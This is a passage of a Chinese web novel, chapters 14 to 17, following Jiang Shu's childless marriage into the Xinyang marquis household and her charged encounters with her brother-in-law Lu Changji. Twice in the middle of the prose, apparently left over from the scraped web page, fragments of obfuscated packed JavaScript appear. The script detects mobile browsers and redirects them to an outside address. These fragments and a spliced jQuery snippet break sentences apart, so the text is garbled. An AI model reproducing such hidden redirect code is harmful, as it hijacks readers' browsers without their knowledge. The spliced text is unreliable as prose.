姜文焕看到她那副模样,愈发生气,但事已至此,便是他气死了也无力回天,只能想办法把损失降到最低:“姜家的清誉算是让然姐儿败光了,你以后好生挟制着她,万不能再让她踏出家门一步。 外人瞧不见她,假以时日,或许能把这事抛到脑后。” 不得踏出家门?杨氏不可置信地瞪大眼睛:“然姐儿正是说亲的年纪,不出门交际,怎么能……” “说亲、说亲,然姐儿闺中失贞,哪里有正经人家敢要她。”姜文焕不耐烦的打断杨氏,“我没有让然姐儿以死维护家里的清白已属慈爱,至于她的亲事,你就不要再操心了,总有鳏夫愿意要她。” 然姐儿花一般的容貌,又有才情傍身,怎么能给人做填房,杨氏心里不忿,一把抱住姜文焕的手臂,低声道:“老爷,大郎去世以后我郁郁寡欢了许久,等生了然姐儿才高兴起来,然姐儿跟我的心肝一样,我不能不为然姐儿的将来考虑呀!” 杨氏相貌平平,年轻时好歹占了身姿窈窕的便宜,偶尔瞥上一眼,倒也过的去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994305|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现下上了年纪,她膀大腰圆活像一只水桶,肥腻腻的手臂和姜文焕相触,姜文焕不由起了一身鸡皮疙瘩。 他挥了挥手臂,用力把杨氏的胳膊甩开,没好气道:“什么叫头发长见识短,说的就是你。” “咱们家现在和信阳侯府是姻亲,前途不可限量,总不能因着然姐儿成为笑柄。你且把她关好了,若让我听到她出门的消息,我唯你是问。” 杨氏市侩,从来不把名声当回事儿,姜文焕知道和她说不出一二三来,于是不再多费口舌,扬声唤来门房,沉声吩咐:“以后没我的吩咐,不许二小姐踏出家门一步。若有人敢阳奉阴违,以后便也不用来当差了。” 姜家到底还是姜文焕说了算,杨氏无可奈何,瘫软在地上,眼泪越流越多,简直要淌成一条河。 她暗暗握紧拳头,都怪姜姝,都怪姜姝那个贱人,姜然不好过,姜姝也休想安稳度日。 她定要给然姐儿报仇雪恨。 清凉的晚风穿堂而过,姜姝坐在花丛中,一边喝果酒一边赏月,月见草的香气沾到身上,熏得她满襟生香。 院子里静若秋水,敲门声显得格外清脆,姜姝小跑到院门处,把木门掀开一条缝往外瞧,原以为是程用来给她送药,没想到来人竟是陆长稽。 若是程用送药,她道一句谢便是了,可来人是陆长稽,只道谢便显得有些不尊重,总要请人到院内坐一坐。 姜姝把院门打开,请陆长稽坐到小几的另一侧,温声道:“这样的小事,请程侍卫过来即可,怎么好劳烦大伯亲自走一趟。” 陆长稽道无碍,他把一个碧色的小瓷瓶放到案几上:“这个药膏是御药房所制,用法和旁的不同,若是出了岔子,怕是要事倍功半。” 陆长稽一面说话,一面提笔写药膏的使用步骤,他坐得笔直,双目囧囧,姿态十分板正,写出来的字却笔走龙蛇,遒劲洒脱。 姜姝没怎么读过书,她不懂得品鉴书法,只觉得陆长稽的字十分好看,比姜文焕的不知要好看多少。 姜姝看着宣纸上洋洋洒洒的字,暗道怪不得陆长稽要亲自登门,若是程用过来翻话,怕是得出纰漏。 陆长稽把宣纸推到姜姝那侧,温声把注意事项说了一遍。 陆长稽专程来送药,姜姝不好凭白接受人家的好意,总要表示一下自己的感激,她抬了抬手中的梅子酒,试探着问道:“这梅子酒是我亲手酿的,酸甜可口,也不醉人,大伯要不要尝一尝?” 梅子酒说是酒,跟果子汁也没什么区别,多是女儿家的消遣。男子甚少有人喜欢酸甜的口味,按说姜姝当好生招待陆长稽,奈何小凉苑平时没有人住,也没有其他吃食,姜姝只能用梅子酒挑大梁。 她期待地看着陆长稽,瞳眸亮晶晶的,像是蕴着一条银河。 陆长稽瞥了一眼姜姝的眼睛,伸手把衣摆上的褶皱抻平,微微点了点头。 姜姝大喜过望,把适才饮的梅子酒掼到一侧,从芍药丛中摸出一个锄头,笑盈盈道:“我给大伯开一坛新酒,新开的酒滋味最好。” 信阳侯府占地广,府内有好些空置的院子,小凉苑地处偏僻,甚少有人踏足,姜姝喜欢院内的水榭,一有空闲就悄悄过来消遣。 院内的小厅里挂着她做的贝壳风铃,风一吹就会叮当作响,十分悦耳。湖内的鲤鱼被她喂成了小圆球,游起来十分缓慢,背阴处的墙角里埋着她亲手酿的梅子酒…… 她来小凉苑算不上多,这里却到处都是她的痕迹。 小凉苑是姜姝自己的空间,她愿意做什么就做什么,愿意怎么折腾就怎么折腾。 姜姝轻快的站起身,拎着锄头向墙角行去,夏日的衣料薄如蝉翼,月光倾洒上去,泛出隐隐的光。行走间勾勒出玲珑的身形,酥山丰腴,腰细如柳,纤秾合度,美不胜收。 姜姝蹲到墙角,三下五除二把梅子酒挖出来,她用湿布把坛口的浮尘擦拭干净,素手执着酒杯,将第一杯酒捧到陆长稽跟前。 那只酒杯是邢窑所烧,壁若白玉,通透无暇,因着姜姝过于白皙,那无暇的酒杯竟被她洁白的手指衬得失了颜色。 皓月当空,彩云被风吹着遮挡住明月,光线一点一点暗下来,陆长稽反应过来的时候才发现他的手已覆到了姜姝的手背上。 15. 第十五章 掌心里是沁凉的酒杯,手背上覆着坚实的带着薄茧的掌心,那只手的温度并不算高,却因着和酒杯的温差太大,灼得姜姝心慌意乱。 她踌躇着,不知该怎么打破当前暗昧的境地,这时,手背上的那只手倏然松开,灵活地回转,握住酒杯的另一侧,把酒杯从她手上接了过去。 手心陡然变空,姜姝下意识把手指握到一起,只虚虚拢到一把空气,有些空落落的,凭空生出来几分怅然之感。她有些尴尬,生怕陆长稽瞧见她的窘态,默不作声把双手垂到桌下,掩到阔大的衣袖中。 陆长稽目光敏锐,把姜姝的动作尽收眼底,姑娘家面皮薄,他只当没瞧见姜姝的失态,不动声色把眸光移到手中的梅子酒上。 那酒晶莹剔透,色泽娇妍,像是女子颊边的胭脂,浅浅的,带着暖暖的瑰意。 陆长稽低下头,轻抿一口梅子酒,入口微酸,待把酒滑入喉咙以后,特有的清甜便会发酵开来,很有一番滋味。 他复又抿了一口,对姜姝道:“弟妹酿酒的手艺甚好。” 原以为乡野手艺上不得台面,听到陆长稽的话,姜姝高高提起的心不由落到实处。 她扬起唇角,轻轻笑了笑,复又走到墙根处,重新挖了一坛梅子酒,把酒坛子擦得一尘不染,笑盈盈对陆长稽道:“大伯既喜欢梅子酒的滋味,就把这坛酒带走吧。” “我这酿酒的手艺是在乡下学的,汴京无人能酿得出这个味道。您要是喝完了,就让程先生支会我一声,我接着给您酿。” 幼时姜姝随林姨娘在乡下住的那几年,学会了不少乡间的技艺。 钱债好还,最难还的是人情债,陆长稽赠的药膏珍贵异常,姜姝原以为要欠陆长稽好大一个人情,没想到陆长稽喜欢她酿的酒,如此也算投桃报李,还了那份人情。 陆长稽不置可否,拎着一坛梅子酒出了小凉苑的大门,衣角随风荡漾,像是羽化而去的仙人。 姜姝望着他的背影,微微怔愣了片刻,而后起身,把院门阖上。 御药房出来的东西果然不同凡响,姜姝按陆长稽写的步骤,一步步把药膏敷到脸上,到了第二日,脸上红肿全褪,和往日别无二致。 姜姝十分高兴,赶紧折回了欣春苑,恰逢赵氏探望陆长易,赵氏待陆长易一片慈母之心,对姜姝却很少有好颜色。 赵氏亲自给陆长易喂了药,而后把姜姝叫到花厅,目光在姜姝平坦的小腹上扫视一遍,接着便是劈头盖脸的训斥:“胡泠霜的肚子越来越大,你怎么半点动静都没有。 是不是我对你太过于纵容,你连自己的本分都忘了。” 赵氏越说脸色越黑,她怒目盯着姜姝,压低声音道:“我原本给了你三个月的期限,现下已过了一个月,你却一点进展都没有。 两个月以后你若再怀不上身孕,也不用再伺候易儿了。直接收拾细软回娘家便是。 还有我送给你的那两家铺子,你今日下半晌就把账本交到宴西堂,易儿的私产也都是我置办的,你也休想再插手。以后你就守着你的嫁妆过活罢!” 想起早晨的情形赵氏就觉得窝火,陆凛好容易回家陪她用一餐饭,却话里话外都是对胡泠霜的赞赏。道胡泠霜是个好的,不仅温雅孝顺还怀了身孕,若能诞下男丁,把信阳侯府的庶务交给她管也不是不行。 赵氏和胡姨娘斗了十几年,胡姨娘都没有从她手中夺过管家的大权,又怎么能失手于一个小辈。 姜姝是信阳侯府的世子夫人,但凡她争气些,陆凛也不会生出让胡泠霜管理庶务的心思。 姜姝过惯了锦衣玉食的好日子,又怎么受得了紧衣缩食的生活,再者,她已经和杨氏撕破了脸皮,姜家是回不去了,只能在信阳侯府过活。 她上前一步,柔柔跪到赵氏跟前,温声向赵氏打包票:“母亲且放心罢,我和世子十分和顺,说不定下个月您就能听到喜讯了。” 赵氏出身世家大族,堆金砌玉长大,从来都不把财帛放在眼中,姜姝绝口不提铺子和私产,只挑赵氏中意的话题说。 听到儿子儿媳夫妻和顺,赵氏总算顺了气,只要二人琴瑟和鸣,终归是能诞下子嗣的。 她复又训斥了姜姝几句,好歹没有把陆长易的私产收回去,姜姝这才稍稍安心了一些。 待赵氏踏出房门,姜姝立马唤来方玉,压低声音叮嘱:“你去把秦太医请到欣春苑,我要问一问世子的病情。” 若是旁的病症,派下人到宫里走一趟也便是了,可事关陆长易的隐私,姜姝不好让方玉知晓。只得亲自询问秦太医。 陆长稽如日中天,守宫门的御林军瞧见信阳侯府的牌子,立马就把方玉放进了宫。 可惜有些不巧,秦太医的母亲生了疾,秦太医告假侍疾去了,方玉无功而返。 想到赵氏的话,姜姝有些着急,一心想要怀孕。得不到准信,她自己试一试也是可以的。 事关男子的自尊,姜姝也不好询问陆长易到底成不成,可也不能总含含糊糊往下拖。脑海中忽得浮现出出嫁前夕林氏往她的箱底塞的那件衣裳。要不就穿上那衣裳试一试吧。 陆长易若有心,瞧见她穿那衣裳自会做出反应,若是还不成,只当没瞧见就行,也无需难堪。 天一黑姜姝就把林氏给她压到箱底的衣裳翻了出来。 那是一整套薄衫,外面是一袭浅粉色纱衣,料子很薄,在灯下可若隐若现瞧见里面的风景。 小衣是桃粉色的,上面刺着鸳鸯戏水绣花,比姜姝平日里穿的尺寸要小一些,愈发衬得凝脂盈盈。下摆也短,能露出一小截纤瘦的细腰。 下裳呈梅色,梅色和粉色搭在一起有些纷乱,但若是夜间,只夫妇二人在灯下闲聊,又会显出别样的意趣。 这套衣衫大胆了一些,却也不算太露1骨,不论陆长易,姜姝自己倒是能接受。 她先去盥室沐浴了一番,而后换上衣衫,坐在灯下等陆长易回房。 时间一点一滴过去,却总等不到陆长易,姜姝唤来珠儿询问:“世子呢,可是在西梢间斗蛐蛐儿?” 珠儿摇摇头:“世子近日迷上了斗鸡,唯恐公鸡鹐架的声响太大影响奶奶休憩,便将那两只公鸡养在了交春园,现下正在交春园和下人斗鸡。” 姜姝不是争强好胜之人,她从心底里厌恶斗鸡、斗蛐蛐儿之类的活动,连带着也不想让陆长易沉迷于此,可一想到陆长易身体不好,平日连门都不大出,便也释然了。 时光漫长,总得让他有个消遣。 姜姝点点头,对珠儿道了一句知道了。 珠儿眼睛一亮,这才发现姜姝的穿戴和平时不太一样,至于哪里不一样她又说不出来,即便她同为女子,看到姜姝也觉得有些脸热。 突然之间,珠儿就有些害羞,红着脸对姜姝道:“您今日看起来真好看!” 姜姝原本十分坦然,听到珠儿的话便有些不好意思了,忙挥手把珠儿打发下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15994306|178099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 待珠儿出了门,她就有些坐立不安,总觉得这身衣裳不甚正经,若是陆长易瞧见她这样穿会不会觉得她轻浮浪荡? 还是将衣裳换掉吧,可若换掉了,又如何试探陆长易,又如何能怀有身孕,如何能为自己的下半辈子寻到依靠? 姜姝思忖了一会儿,忽觉得勾引男子就仿若作战,一鼓作气、再而衰、三而竭,纠结的时间长了,难免生出退却之意。 陆长易久久不归,她去寻他不就成了,免得一个人闷在屋子里胡思乱想,半点用处都没有。 可若是去寻他,要不要换一身衣裳? 夜深人静,外面即便点着灯,光线也十分昏暗,哪怕遇到人,那人也瞧不清她身上的衣裳。 再加上交春园和欣春苑离的近,提脚的功夫就到了,又哪里会遇到什么人? 姜姝思来想去,觉得并没有换衣裳的必要,她利利索索出了门,时辰晚了,路上静悄悄一片,连个巡夜的小厮都瞧不见。 姜姝沿着甬路向交春园行走,忽见拐角处出现了一个人影,那人正拎着一盏灯笼缓步而行,他身量颀长,优雅的仿若一只闲庭信步的野鹤,放眼整个信阳侯府,除却陆长稽再无他想。 姜姝现下的穿着,实在不适宜和大伯相见,她看看两侧,想找个地方回避,但甬路开阔,陆长稽又人高腿长,她还未来得及回避,他已行到她跟前。 “大、大伯安好!”姜姝紧张极了,忙屈膝向陆长稽行礼。 为了凸显柔美纤长的身姿,姜姝下裳的衣摆比普通的要长一些,因为紧张,她的屈膝礼行得不甚利落,左脚绊住右脚,直缠到衣摆上,一个不稳,整个人直直摔到地上。 耳边嗡的一声长鸣,大脑陷入如短暂性的凝滞。 姜姝依照本能从地上爬起来,原想快些离开,从这个丢人现眼的局面中逃离出去,没想到脚部传来一阵剧痛,竟是把脚崴了。 她顿在原地,欲哭无泪,尴尬的无所适从。 “可是崴到脚了?”陆长稽开了口,声音温润,犹如清泉在山间流淌。 姜姝“嗯”了一声,声音低得仿若蚊吟。 陆长稽把灯笼放到地上,凑到姜姝身旁,隔着衣衫握住她的小臂,扶着她向一侧的石凳行去。 他有分寸,握着姜姝小臂那只手不紧也不松,分明没用什么力气,姜姝却能察觉到他所蕴含的力量。 他的手是沉稳的,干燥的,内含筋骨,和陆长易的绵软大相径庭。 她随着他的力道缓缓坐到石凳上,目光垂到地上,窘迫的连头都不敢抬。 清风拂过,将蒙在圆月上的云彩尽数吹散,原本朦胧的夜色也在月光的映衬下变得清透起来。 适才一番人仰马翻,姜姝的衣襟在不自觉间松散开来,陆长稽生得高大,占着居高临下的优势,不经意间的一瞥,就察觉到了她无与伦比的巍峨。 因着姜姝的小衣实在太短,外衫又薄透,除却白的晃眼的巍峨,陆长稽甚至能瞧见她那截细的,仿若杨柳般的腰1肢。 四平八稳的人,思绪忽得就凌乱起来,陆长稽把头扭到一侧,调整了一下呼吸,待把头正过来的时候,思绪重复清明。 陆长稽高洁自好,他虽没有接触过女子的衣衫,却也隐隐察觉到了姜姝身上衣物的不同一般。 再联想到她行路的方向是交春园,便什么都明白了。 果然人不可貌相,弟媳瞧着沉稳,私底下倒是个放得开的。 16. 第十六章 姜姝心思机敏,瞧见陆长稽扭头的动作便明白了七八分,她低下头打量自己的衣衫,那外衫已然褪到肩部,小半个肩膀都露了出来,明晃晃的,颇有欲拒还迎之态。 姜姝暗怪自己失态,她这副样子,便是自己瞧了都觉得轻浮,更何况大伯?大伯光风霁月,为人正派,若是误以为她有心勾引,可该怎么办? 心乱成了一团乱麻,姜姝又急又恼,忙把衣襟拢到一起,将衣带紧紧系了起来。 气氛陷入短暂的凝滞,当姜姝想要说点什么来缓解尴尬的时候,忽见陆长稽蹲到了她跟前。 有的人就是这样,无论做什么动作都端方的无以复加,陆长稽肩背笔挺、淡然沉稳,即便蹲在地上,也显得十分从容雅致。 他将姜姝的鞋子脱掉,隔着绫袜把她的左脚握在手中,乍一接触,才发现她的脚十分娇小,柔弱无骨,还不及他的手掌大。 他动作微滞,手上的力度不由又放轻了几分。 食指分别在足底的穴位上点了几下,低声问道:“这几个部位哪里疼?” 他的动作很温柔,像是羽毛轻轻在脚掌心划过,挠得她有些痒,脚趾不由蜷缩起来。 姜姝的脸更红了,心跳也有些快,她摇摇头,低声对陆长稽道:“是脚踝疼。” 陆长稽将手指移到她的脚踝上,在骨节处摩挲了两下,温声道:“是关节错位了,你暂且忍耐一下。” 话毕,一只手环握住她的脚掌,另一只手攥住她的脚腕,两只手一齐用力,“咔嚓”一声,便将错位的骨节掰正了。 剧痛传来,姜姝不由低呼一声,她嗓音娇软,这声低呼传出来,竟像是某种不可言状的娇1吟。 当然,姜姝并没有注意到这份不同寻常,只觉得剧痛过后整只脚都十分舒畅,虽不似之前那样轻便,却也勉强可以走路。 这里离交春园不及欣春苑近,陆长稽扶着姜姝折回了欣春苑,直到坐到拔步床上,姜姝都觉得左脚热烘烘的,仿佛烙上了某种印记。 早就到了就寝的时辰,她却格外精神,顺手拿起一侧的针线做绣活儿,也不知过了多久,陆长易才回到寝屋。 陆长易一进门,姜姝就看到他的衣摆上沾着一些刺目的血沫子,接着便闻到了一股淡淡的血腥味,虽说知道那血腥气是鸡血的味道,却还是不悦地颦起了眉头。 屋里有了新妇,到底不能像以前那样无所顾忌,陆长易察觉到不妥,转身到盥室沐浴。 陆长易从盥室出来的时候,姜姝正凑在连枝灯旁边描花样子,在灯光的映照下,愈发显得她侬丽娇柔,肌肤细腻如脂,半点瑕疵都没有。 沿着脸颊往下瞧,才发现她今日的衣裳也格外别致,纱衣下的抱腹若隐若现,山峦巍峨,山腰纤纤,简直像勾魂摄魄的精怪。 陆长易起了心思,但因着上次的经历糟糕透顶,便有些忐忑,他也不敢直接邀姜姝上榻,只坐到她身边与她亲昵。 若是能起来,便邀她上榻,若是起不来,装作若无其事也无妨。 陆长易将手搭到姜姝腰侧,若有似无摩挲起来。 并没有想象中的悸动,也没有话本子里所写的酥麻感,陆长易的手软绵绵的,和女子的别无二致,姜姝生不出一点儿荡漾之意。 不过通过他这个动作,她知晓了他也有那方面的意思,她对他没有男女之情,但感情虚无缥缈,可以慢慢培养,当下最要紧的是安身立命,怀上一胎麟儿。 想到这儿,姜姝的动作便大胆了一些。她就势倚到陆长易肩头,柔声道:“世子久久不归,我原本想要去接一接您,没成想扭了脚,若不是大伯相助,恐怕就要耽搁在半路上了。” 陆长易这才发现姜姝是光着左脚的,脚踝有些红,微微发肿。 为了寻他,她才扭伤了脚,他满心愧疚,恨不得替她遭受那痛苦。 想要让她的脚踝好受一些,却因着从来没有照顾人的经验,竟不知该从何做起。 姜姝窥出了陆长易心中所想,格外体贴的说道:“世子帮我冷敷一下吧,脚踝热辣辣的,冷敷一下会舒服很多。” 仿若雪中送炭,陆长易当即就令方玉往屋内端冷水。 趁着这个间隙,他把姜姝扶到拔步床上,握着姜姝的小腿搭到他的大腿上,陆长易没有照顾过人,动作毛毛躁躁,阴差阳错竟将姜姝的脚丫子搭到了那处上面。 脚下弹软,姜姝察觉到了异常,一时之间两人都有些脸热,只碍于方玉在场,不好有所动作,只假装镇定。 所幸方玉正蹲在地上投帕子,视线所限,并不能看到床榻上的情形。 陆长易接过方玉投好的帕子,将她打发出去,房门合上,姜姝长舒一口气,下意识便要将脚收回去。 陆长易又哪里会应允,他红着脸按住姜姝的脚踝,轻轻将冷帕子敷了上去。 清凉的感觉从脚踝处蔓延开来,舒适将尴尬驱散,姜姝舒1服的眯上眼睛,与此同时也察觉到了脚下的变化。 那里一点一点苏醒了。 总算不枉这一个月的调理,陆长易大喜,一把将帕子丢到一边,猛得压了上去。 帕子被摔得乱糟糟,脚踝也还有些疼,他打小被捧赵氏捧在手掌心长大,并不懂得怜香惜玉。不过这个时候姜姝也不好打断他,只微微将头扭到一侧,盯着拔步床上的穗子,思索打穗子的手法。 幸福只来了一瞬,陆长易还未来得及动作,又很快消弭下去。 希望破灭,比没有希望更让人难受焦灼。 陆长易恼了,他既羞愧又愤怒,不想面对他自己,也不敢面对姜姝。颓然地从姜姝身上翻身而下,沉默着朝向另一侧,留给姜姝一个背影。 姜姝也有些失望,想到林氏的叮嘱,杨氏的跋扈,赵氏的咄咄逼人,不禁为自己的将来、也为姜容担忧起来。 她不是陆长易,没有优渥的出身,没有可以事事能为自己做主的母亲,便是想任性也没有资本。 她盯着床顶缄默了好一会儿,才将心中的失望驱散出去,伸出手臂从背后环抱住陆长易。 温软馨香贴到背后,温言软语传入耳际,姜姝将自己的温柔和善意尽数传达给陆长易。 按说陆长易的愤怒当消减一些,可事实却截然相反,她离他越近,待他越好,他就越气恼自己的无能。 她是他的妻,从头到脚、从里到外都是他的,那种看的到、摸的到、却吃不到的感觉让他几欲崩溃。 脑海中忽得生出一个念头,陆长易即刻就想占有姜姝,想在姜姝身上留下不可磨灭的印记,来彰显他对她的所有权。 他的那个地方是不中用了,好歹还有一双灵活的手。 陆长易焦躁的翻过身,和姜姝面对面贴在一起,将手探到了入口。 姜姝微愣,睫毛像蝶翅一样翕动起来。她深吸一口气,不动声色拉开和陆长易的距离。 “世子可是冻着了,手怎得这样凉?”姜姝把陆长易的手从那里移开,与他十指相扣,将她热热的温度传递给他。 床上挂着一颗夜明珠,将姜姝的神色照的分毫毕现,她的眸子波光盈盈,满是包容的柔情。他在她的眸光中败下阵来。 姜姝这一夜睡得并不好,对镜自揽,眼下一片青黑,神色也倦倦的,敷了厚厚一层粉,才将黑眼圈遮住。 她起的早,没想到林氏比她起得更早,大门不出二门不迈的姨娘,竟在大早晨寻到了侯府。 林氏没有什么主意,遇到自己解决不了的事情,首先想到的就是向姜姝求助。 所幸她还知道维护姜姝的颜面,并没有当着下人的面哭哭啼啼,随着姜姝进入梢间后才低声啜泣起来。 “夫人要把容儿许给一个姓何的司马做小妾。” “那何司马年逾四十,比你父亲还要年长几岁,听说他的后宅里尽是莺莺燕燕,为人最是花心。 家里的主母也是个严苛的,对妾室非打即骂,一年之内不知道要从后宅抬出去多少尸首。容儿的性子比泥还软,她若是进了何家的门,还不得生生被折磨死。” 姜姝知道这是杨氏在报复她,她让姜然寻不到好人家,杨氏便如法炮制,让姜容也不得好过。 杨氏是姜容的嫡母,她给姜容张罗亲事天经地义,便是姜姝也无法置喙。 姜姝抿紧嘴唇,现下最要紧的便是另辟蹊径给姜容寻一门过得去的亲事,只要那亲事对姜文焕有利,对姜家有利,便是杨氏有心阻拦,也拗不过姜文焕去。 可惜,每个阶层都每个阶层的圈子,姜姝虽已嫁到了信阳侯府,却日日都居在欣春苑照料陆长易,白担了世子夫人的头衔,压根没有出门交际过,更遑论结识贵人。 结识不了贵人,又哪里能给姜容寻到好亲事?事到如今,只能去求赵氏了。 姜姝轻叹一口气,对林氏道:“姨娘不要着急,总会有法子解决的。” 话毕,姜姝命方玉打开陆长易的私库,挑了三四样赤金首饰装到匣子里,温声对林姨娘道:“姨娘回家以后,把这些首饰送给母亲,母亲视财如命,即便看在首饰的面子上也会暂缓给三妹妹订亲。” 林氏掂了掂那几个赤金首饰,加起来足足有十两重,做工精细,一瞧就不是凡品,除却公爵人家,小门小户便是想买都买不到。 这几样首饰既能讨杨氏欢心,又能暗示杨氏,姜姝在侯府是能开私库的。 说来也是可笑,姜姝嫁到侯府足 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略有起色,那到底还能不能行?事关身家性命,姜姝不再和秦太医打马虎眼,她单刀直入:“我进门半年有余,一直怀不上身孕,这已然成了我的心疾。 还请秦太医为我解一解惑,我、我究竟还能不能怀上身孕?” 秦太医轻叹一口气,低声道:“若是借助助兴的药物,世子倒是勉强可以行房,但他常年用药,已伤了根本,便是能勉强行房,夫人也难以怀身孕。” 悬在头顶的利剑落到身上,劈得姜姝万念俱灰,她竟是一点希望都没有了。一颗心揪得生疼,像是要被撕碎一般,痛苦呼啸而来,在四肢百骸里徘徊。 她脸色煞白地站在地上,像是被人抽走了生气,眼中的光彩一点一点变暗,直至堙灭。 绝望归绝望,姜姝到底还存着理智,她深吸一口气,低声对秦太医道:“秦太医,世子身子弱,怕是受不了这样的打击,还望您能保守秘密,不要把不能生育的事情告诉他。” 秦太医点点头:“医者仁心,世子夫人且放心,世子的疾症天知地知、你知我知,老夫绝不会让第三个人知道。” 姜姝甚至都不知道自己是怎么走到宴西堂的,赵氏这几日心情不好,她一直是能避就避。 但三月之期只剩下了两个月,即便她能想法子怀上身孕,也不是一日之功,她必须在杨氏动作之前,早些给姜容订下一门好亲事。 姜姝到宴西堂的时候赵氏正在洗漱,赵氏爱面子,断不肯蓬头垢面见人,听闻姜姝求见,便让她在门外候着。 待清洗完,梳好发髻的时候,厨房正巧把膳食送到了饭厅,赵氏不想让姜姝杵在饭桌前影响食欲,便自顾自去了饭厅,任由姜姝在花厅外戳脚子。 若是平时,站上个把时辰倒也不算什么,可姜姝前一晚刚歪了脚,再加上得知陆长易不能人道,身心俱疲,长时间站着便有些吃不消。 不过站了半个时辰,脚踝处就传来一阵疼痛,长辈没有发话,她也不好擅自离开,便半倚到门框上借力。 痛苦的时间总格外难熬,没一会儿,姜姝就因为脚踝不适沁了一层薄汗。 她低下头去取腰间的绣帕,这时,一双绣着如意纹的六合靴出现在视线中。 六合靴是为内阁阁老专制的官靴,整个信阳侯府只陆长稽有资格穿。 看到这双靴子,姜姝神经一紧,热意不由爬上脸颊。她知道自己不该觊觎陆长稽,可她总不能为了贞洁把自己的性命搭进去。 陆长易不行了,她得爬到陆长稽的榻上去,必须生一个子嗣傍身。跟陆长稽同房以后,再给陆长易下一些助兴的药,与之敦伦,只要不引起陆长易的怀疑即可。 姜姝心里有鬼,十分局促。按理她应当大大方方向陆长稽行礼问安,可此时此刻,她却连抬头的勇气都没有。生怕暴露了什么一样。 姜姝一味装聋作哑,假装没有瞧见陆长稽,低着头凝视脚下的地砖。 可惜,天不遂人愿,脚步声离她越来越近,那双六合靴出现在她身旁。姜姝不得已,只得抬起头。 四目相对,陆长稽的漆眸一如既往的平和,她却慌里慌张,颇有无地自容之感。 人已到跟前,她总不能落荒而逃,现下这种境况,她只能硬着头皮和陆长稽打招呼。 姜姝深吸一口气,竭力勾出一个还算端庄温婉的笑容,蹲身向陆长稽问安。 陆长稽对姜姝做了个起身的手势,眼神若有似无向她的脚踝处瞥了一眼,温声道:“弟妹是来给母亲请安的吗?我们不若一起到屋内,免得三番两次打搅母亲用饭。” 17. 第十七章 探一探 陆长稽的目光是温和的,声音也是温和的,没有半点棱角,却仿若隐含着万钧之势,让人觉得踏实又安心。 姜姝惴惴的心,因着他的话落到了实处。她提脚和陆长稽一起向饭厅行去。 陆长稽深受赵氏倚重,他在宴西堂来去自如,向来都不需要通传,可姜姝却不然,侯夫人摆明了要晾着她,她怎么能和大爷一起到屋内去。 守在门口的侍女张张口,原想阻拦姜姝,眼角瞥见陆长稽警示的眸光,只得把口中的话咽到肚子里,抬臂为二人掀开门帘。 赵氏已经用完了早膳,此时正站在盆架旁净手,看到陆长稽和姜姝同时进门,微微怔愣了片刻。 陆长稽表面温和,骨子里却清冷淡漠,从来不会干预与他无干的事情,平白无故的,他带着姜姝一起进屋做什么。 赵氏带着狐疑把目光投到姜姝身上,姜姝娉娉婷婷的,腰肢细的像柳枝,偏偏胸1脯特别丰腴,那张脸更是周全,浑身上下散发着女性特有的柔媚风韵,即便不施胭脂也美的令人惊叹。 看着她这副花容月貌,赵氏心里倏得腾起了一个荒诞的念头。这个念头离经叛道的可怕,她简直不敢多想。 赵氏颦着眉头,转念一思忖,又觉得自己想法太过于荒谬,陆长稽是什么人,又岂会做出不为世人所容的狎昵之事来。 赵氏是长辈,按说她压根不需要顾忌小辈,可那个小辈是陆长稽就又得另说了。 她微微笑了笑,只当没有觉察出异常,温声对陆长稽道:“你公务繁忙,有什么事让下人知会一声就行,又何故自己跑这一趟。” 陆长稽道无碍:“儿子今日休沐,难得有时间给母亲请安,母亲莫要客气。” 他拿出一封调函,递到赵氏跟前:“母亲吩咐的事我已经办妥了,赵监察不日久会被调回汴京。” 赵监察是赵氏的内侄,按说凭赵家的势力,想要把族中子弟调回汴京,算不得什么难事,奈何现下六部互相制衡,运作起来不似之前那样便利,赵氏这才托了陆长稽。 长辈托付小辈办事,算不上光彩,若不是赵氏的长嫂往信阳侯府跑了好几次,赵氏也拉不下这个脸来。 她讪讪地笑了笑,对陆长稽道:“我新得了一盒徽墨,一会儿让周妈妈送到迦南院,你且看看顺不顺手,若是用得好,我再让人给你送。” 长辈赐,不可辞。陆长稽也没有推辞,欣然接受了赵氏的好意。 他瞥了一眼站在一旁的姜姝,忽得转了话题:“我瞧着这椅背上的松鹤延年刺绣十分精致,二弟妹精于此道,可知道这是什么绣法?” 陆长稽口中的刺绣两侧皆放着交椅,姜姝只有坐到交椅上,才能看清上面的绣法。 她顺势坐到左侧的交椅上,身子有了依仗,脚踝才能放松,姜姝长舒一口气,悄悄把脚踝藏到交椅下面活动了一下,抬起头来的时候,她才发现她和陆长稽离得极近。 二人的双手都放在交椅扶手上,衣袖边缘错落的搭在一起,只要稍微动一下,她就能碰到陆长稽的手臂。 姜姝抬手去指椅背上的刺绣,衣袖像羽毛一样在陆长稽的手臂上触了一下,接着在他的面颊前拂过,带来一股淡淡的馨甜。 心像是要从腔子里跳出来一样,姜姝却还是尽力挺起胸脯,身子向前倾斜,腰部绷得紧紧的,连接着臀部,勾出一道极妩媚的曲线。 手指点在椅背的仙鹤上,姜姝的声音也似浇了蜜糖:“这松鹤延年色线鲜明,针脚细密,后针压着前针的针尾,当是湖广一带传过来的湘绣。” 原本是陆长稽提的疑问,可姜姝给出答案以后,他的眼睛再没有往椅背上瞥一眼,眸色深深的,谁也不知道他在想什么。 